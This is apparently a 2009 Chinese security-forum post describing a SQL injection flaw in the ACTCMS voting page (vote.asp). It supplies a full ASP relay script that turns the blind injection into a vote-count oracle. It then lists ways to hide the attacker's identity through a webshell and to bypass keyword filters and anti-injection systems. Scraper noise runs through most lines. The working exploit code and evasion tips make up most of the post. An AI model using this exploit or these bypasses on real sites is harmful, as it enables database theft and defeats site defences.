: ]/ B0 ^" H# k8 l6 B+ Z, k看到ninty大牛的blog的一篇文章4 u/ o4 x# Y2 _: O
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
7 C+ |3 W! F- Z4 Q关于actcms漏洞的利用 by 3x qq:3818625895 h. l) o N) n2 _
转载请注明以上/ j% F1 {' Y* e3 n, H- j
漏洞文件:
3 P$ Q/ h! D- d- Z; f) V. L; o/plus/vote/vote.asp0 r% q% k+ b4 ]# ^, `* Z
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then
: ~# F4 g" x% |5 V* u3 a. I2 q2 l2 w# h/ g7 `2 ?7 ]
2 response.write "<script>alert('请选择投票项目。');window.close()</script>" ( B- X* ?8 D0 G; _
- t/ u- c4 E; r9 r4 i; R% I% p3 r
3 response.end ! q$ g& T6 Q7 a7 q" D1 p
, a8 t: q$ R+ ~+ X, k; E4 end if % W: v: n2 g8 ?$ h% g$ M: w
' u/ O" d5 V5 s
5 for i=1 to request("voted").count - Q0 D( G6 [" R1 X$ } p
7 q8 s8 N- f! ~5 N. u5 E
6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i)) - ^, I$ S+ j( J0 q+ f* V) b0 x
% t9 z3 x' Y5 }2 _# v! X% w. j! T
7 next 3 X+ M# i" a2 _+ x
( e9 X7 c2 ^8 J
8.... ; \7 P0 `% p$ O: R- m1 @
# z3 |& U- O5 ^/ u9response.Redirect "index.asp?id="&id&"" ! d7 ?/ @1 y. `# M; ^& @5 Z
投票结束回跳转回index.asp这个投票结果页面( I0 ]* p( K1 \5 y2 {# t
如果投票成功票数加18 _8 T6 }" N% p
失败票数不变0 [) c9 W1 S/ k$ j$ m# H' m! \6 `- R
如图:
( r9 i1 a7 G6 h1 ghttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)4 `+ e! p. Q3 u( m
8 t4 ]3 E3 \* v
2009-12-27 13:20# o, b6 L O( q9 c% a' ]/ n
/ K5 {6 H! k) z0 R8 t l" \! I
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
- l; U( A4 ?; V) _* E
; X! G" G5 p* R, C: Z8 R本帖隐藏的内容需要回复才可以浏览
u" b. S* Z. k( n5 J我们用注入中转来实现这个注入具体代码如下:" x. W: W8 K" _
先用寂寞的刺猬大牛的注入中转生成jmget.asp3 p) a2 c, f8 x
注入地址:http://localhost/actcms/plus/vote/vote.asp- }. Z T& o! N$ i! ?6 a3 G E
注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项
0 I, N+ m) C5 Q6 ]) c- {; }0 ]' z# B% H* E6 B7 r( r. G
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% 6 w$ r" m) S) k1 w6 V0 L8 }0 J
- }/ A5 }* |5 J7 N8 i02JmdcwName=request("jmdcw")
& R2 W" E9 T1 [6 L# j! B
: p. {& J+ E3 J- B03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] ; j% S+ i9 v$ W; H
3 ~, |: [7 W" ?' c) V) I
04JmStr="id=1&voted=-1 or 1="&JmdcwName ) g$ `4 Y6 J; T6 R* U* U- }. g
! C" `0 B% E% q+ Z05JmStr=URLEncoding(JmStr) # x3 i; L* }! q3 R- y/ I% s
! |- q1 s; J* f) I6 e0 k! p; D06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
0 q- o l- j& F3 ]& H2 Y
9 e I) p8 \+ B* \: J, `07testurl="链接标记http://localhost/actcms/plus/vote/index.asp") u8 Q* P+ @0 p% e' `
' a4 [: W8 S" a
08testurl=testurl & "?" & JmStr * o/ T( N* @- H( k& t" X
( Z) K$ [$ O* w( m4 ~3 F- x0 U6 z09JMUrl=JMUrl & "?" & JmStr
. v1 A, N: P5 b* d. Q: {! n( h. Z5 C4 ~8 _" P' ^) I5 f' w" Y
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
1 n6 F) k$ a) U1 d% J4 m0 p( s" M n! \
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"! I; s3 r0 U5 D
- X- ?8 S J# t! B1 C12JmCok=replace(JmCok,chr(32),"%20")
& L, V2 ^7 q2 S; ^9 ~, y# a& i1 z7 G, d: q
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
8 G, Y' _3 a- S8 B& @$ _
: E4 A8 ^+ r% A$ H! M14
5 ?' i7 Z# m f+ Y5 o9 ? |; x9 e8 D5 K4 O9 g+ |
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
! G% S! e) s* E/ x ?+ A* V; h0 R4 x% B) y; n6 S
16 3 m* L+ }% F" c* n7 Z+ ?" C
. m% y9 y" p3 g9 L+ r7 c17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 $ ^0 i) m* M$ ^! A& U, I
% g. W0 S* y4 [3 b18response.write test1&""&test2&""9 z% c/ \* j5 i0 f. p
0 S5 x7 o! q4 s. h5 G19 $ C) U* A6 B. ^0 D- o/ D) _
9 j& r( N- X3 Z( f" o20if test1=test2 then '如前后记录相等,表示失败
5 z- R4 y- \, }2 [6 `/ }3 X+ d( a0 T! u/ |
21 response.write "failed"+ t V) i" C+ @9 ~7 j
; ^# z' t' L+ a3 B) l' m
22else * Z: }( e. Q7 z; r) |/ n9 [
6 k% e. H+ L$ T& e5 l: g23 response.write "succeed"
& X. V! t# D& e0 E. u0 G
2 c, v6 X3 \4 f24end if
6 s/ f, J5 }5 V# W+ N+ ^" ~
' g- q$ J2 Y4 j25 0 [' @9 K; P9 p: u3 }5 f: T2 Q
$ Z( q+ |( O9 w: [2 g& D6 _
26response.write "by 3x"
9 H) x0 I; l! p& t T1 x) d" E2 z" z9 @. s0 h& `0 _- d
27
: i: e1 D: y4 {$ p. g' U+ }# A' G: ~; V; H
28
# f. ?, D: N( r' w4 }3 x, o y5 w2 K! H+ W8 r
29Function PostData(PostUrl,PostStr,PostCok,PostRef) 3 A+ w* H& ?* l9 w. T. W5 b
2 U" h5 h* J/ G$ h' q4 Z& N30Dim Http ( Z2 c. t. G+ T8 s
) U A1 G; x( @+ d9 Y, F* m
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") 1 X$ t/ t4 x* _$ r
7 A1 H4 b4 }5 D8 S# Z
32With Http
! V" f6 G) c/ @3 l1 F3 Q& k8 b. i( ?# M: w
33
4 L* n# ], h `1 I
4 K3 B3 w H3 {$ q1 o34.Open "GET",PostUrl,False" a! c0 E& U; \7 A
0 [) o% \) U. c6 V; u& x4 t5 `% U
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
2 C B5 L/ |7 F6 j1 z7 I5 _" d6 L" N0 d$ ]
36.SetRequestHeader "Referer",PostRef
. d7 J; |1 R. F* [! i
) \" V7 q& [5 p! P37.SetRequestHeader "Cookie",PostCok / e3 K& v. |/ }2 D9 e' C# `
4 ]& n" L: M8 o& H38.Send ()
/ \, q6 F) C! c2 o$ h9 o5 E8 F) Y% d5 V4 t* w: ^4 i
39PostData = .ResponseBody
( D9 K: U! Z2 r% F9 I
& T; t- d, ^- b7 H# m/ d3 |5 r40End With
8 N5 f+ J% t7 _$ |; H7 _- ^1 G; J7 C& Q* {* [
41Set Http = Nothing
* t" C0 R% T/ W' b2 h6 ~. D g# S9 G2 g8 @
42PostData =bytes2BSTR(PostData) 1 C( Y( P; W% o I
" A9 u: V2 d' }6 b
43End Function2 `! |* S0 @& _7 b+ r
: z B, a+ k/ g44
+ G8 [( V1 G2 I l! L
( d7 }' Q; t& \2 Y45 . S, A; O' k0 ]" ?9 ?; @5 d
2 U- @6 S# \0 n: s+ V46Function bytes2BSTR(vIn)
9 X9 P: |7 h' ^+ }& C9 _
9 G0 N" u9 R9 R5 r, S8 ^6 D, ]2 F47Dim strReturn
2 ^& u4 D4 Z3 D4 ]7 y) P; J& x8 b- q
48Dim I, ThisCharCode, NextCharCode 5 v/ u$ v& t% o3 Q
# [# n9 q B- r1 ?$ k3 C
49strReturn = ""
0 O! j: S! _- H7 U8 e# X. v" o, b; L, v5 C- ]- [! X' n$ Z
50For I = 1 To LenB(vIn)
8 q5 \ x# }) _8 w. t+ a
4 U% X+ R$ F( T51ThisCharCode = AscB(MidB(vIn, I, 1))
; _3 ^ s9 |3 I% t
" J7 G: f6 L9 P; p7 i52If ThisCharCode < &H80 Then
' V. k$ C0 X% i% }0 R8 f! \$ i6 s9 n, @) B0 M$ X8 q
53strReturn = strReturn & Chr(ThisCharCode)
2 s, [) M( B T/ ]& M! d2 b: y" z/ b, M
54Else$ v& E% e q; L: t* E3 a
6 g: R/ H) l, ?3 i/ _ t4 P' r
55NextCharCode = AscB(MidB(vIn, I + 1, 1)) ' L' R7 q) `4 {8 C: Q! R; T
% y8 w: T0 Q1 i$ S2 ^
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
: Z5 r# S1 h) d# M( \5 t: m$ n, h3 m2 p; U
57I = I + 1
2 T; r# ^/ M" L9 Z: P1 u; e
0 i+ S) T/ f" v. q% ~' \2 k2 R58End If O' \1 _1 I1 [2 S6 d& g, ?
, E& S9 K* V. Z
59Next7 l4 L* V5 q5 a Y! B/ f- i( J
* D$ C& {& A% ^- r9 ]3 @- |1 ?0 f60bytes2BSTR = strReturn
+ {& i: ?$ E# G" c
& r9 ~3 D5 U0 ?" N& `5 v61End Function
1 J; V$ O' A$ T
: T4 ^( B2 @5 Z" y) { L62 2 o/ {9 X8 P( C J
) ~2 s# f* A- s- C, U63Function URLEncoding(vstrin) 7 S" U* N3 X0 c+ ?: M$ N' J
9 d8 t6 K2 O) i; D2 O1 d: k64strReturn=""3 k$ | _4 u0 \8 ]/ A' |
8 ^+ M: T, S% T+ p" f65Dim i : @0 ^2 X; V" i8 [) ~/ ]9 E" d. m
5 j. v4 j% G$ o' L. n2 n: t9 `66For i=1 To Len(vstrin) 9 ]4 l9 t; l0 ^- ^9 w
, U- q( S: I$ g$ T! X! Q8 k
67ThisChr=Mid(vstrin,i,1) % p9 g7 u% F0 [! q" [3 L+ `
5 Q" @. l' f' }; s! O68if Abs(Asc(ThisChr))< &HFF Then
+ C& S- m' G) V) g, v
6 x- H* L: j' [9 G4 S* r1 [7 w69strReturn=strReturn & ThisChr " G) l6 Y& f1 I' c3 E8 e6 _2 ~
& G, n, P& f l- a70Else3 S: h# v" a! E4 o$ J5 Z' R
1 S; e9 G' P& e6 [7 y% i# t+ E71InnerCode=Asc(ThisChr) 7 T2 }. e+ n2 \; Y7 G
4 e, r8 D. O: }6 i/ V; q# q72If InnerCode<0 Then- X5 x1 o* Z8 E/ g- H6 |
, ^$ o" L- p% }
73InnerCode=InnerCode + &H10000 & f/ \( m1 X0 A2 Q) P4 T! d; K
; F% ]" J* g8 | \: {
74End If
. _7 ]! ]" E5 \) c& O! ~6 P5 ^. i0 n4 {. a( a2 \& ?
75Hight1=(InnerCode And &HFF00) \&HFF
1 K% r. ]# J- s1 _6 B" t. i: p2 k; L3 e6 _% @) d4 s
76Low1=InnerCode And &HFF
& R% c8 m$ C3 W m( `6 H6 h) w! u- p& d' b! H* N' M/ f
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) 9 q' K7 @, L9 s
, y. E- v- N/ j$ C }8 m( [( I
78End if 6 \3 ?% f4 {4 ]& v% X( A
# _! u: S& o8 f, j79Next
% N" B' p, t7 H3 x- K( ^4 a! w# f0 b$ e' U8 K6 u
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 1 C# _6 x1 R M6 O4 q. N
0 s( v3 K0 E( k
81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
- N+ n* y& w0 I2 |2 l- A% P n
8 {4 O$ h/ N% t. _6 F82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码
* Q" O( R8 p; h' o6 r0 o: C& I7 T8 G
83URLEncoding=strReturn * a, A* u5 z f, @, }
$ Q: E( ]6 a; c- }84End Function: Q& d" e1 y$ R/ `/ }' R- k, p
; G, C7 h. P; H- _85 & r9 d& V) E. {' E% i9 l3 O7 E
, c/ S |# p; I5 ?( }+ I2 ]
86function getSt(body)
" T2 M+ |4 Z# g( r4 R
+ l! |3 W2 K5 l# w8 u, G3 k1 t87 startpot=instr(body,"投票人数:")+len("投票人数:") 3 s8 ?. B5 o( p- H h* J) i/ I
* K d) u! g/ n, _1 \% N9 V+ k) H! ]88 endpot=instr(startpot,body," ")
. n) t6 ^! ] @) {1 y
. I1 w6 P7 n! M& \5 h0 ^% T; D89 getSt=mid(body,startpot,endpot-startpot)
) o1 M# ^2 i$ |! D( L6 u0 B0 D9 ?
90end function # }' ]2 p; G0 I4 G% @0 ?/ b& @
9 D4 I1 h; ^& c0 v91%>- r7 s5 G! e, C' |" b
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了( ~$ K- L0 J# s9 U O
测试下效果:
- p" n. V' n1 |; n8 z4 Y- ~" n7 l投票成功:
) h3 u0 b% g; g1 J7 k# |http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)6 h0 p# m$ p" y' }4 [, v
' P# m7 P" a3 p1 R2 F
2009-12-27 13:29: O( V. t* W1 Z/ A' P2 l
投票失败
6 P' f) }! e5 ]( lhttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB) V" h2 H) ^7 f
" W0 j+ `( x! Z9 S* E/ L* S0 x
2009-12-27 13:29
' g: d7 B- r/ ]- ]- [; q-------------------------------------------------------------------------------
}2 |- U; p' `! d0 {3 a M6 ^再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
$ U ~, o3 F O. m很抱歉。。。只能用单线程工具去注入。。。。。
M/ M9 c% ?- `7 ^0 S: D所以失败。。。不好意思。。。0 I) m$ W& z, K( c O
------------------------------------------------------------------------------- h7 |% m* x- @5 J1 G
M- ^. ?9 Z1 _' f: r& s注入中转的一些其他应用
* X ~ T5 U0 Z, b0 B9 I6 K3 r其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了9 G; g0 ~5 O6 y
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id7 _! w& |- W/ p
2.post注入转成get型的注入,方便我们使用工具来跑
* P5 n7 i/ S: W; g; m9 `1 |3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
6 X& p' g- M$ T4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
7 @/ b9 D2 o: K3 I( r, ?6 b8 @/ i; _/ \
% b' ^! [& L _3 t9 p% F( u4 | |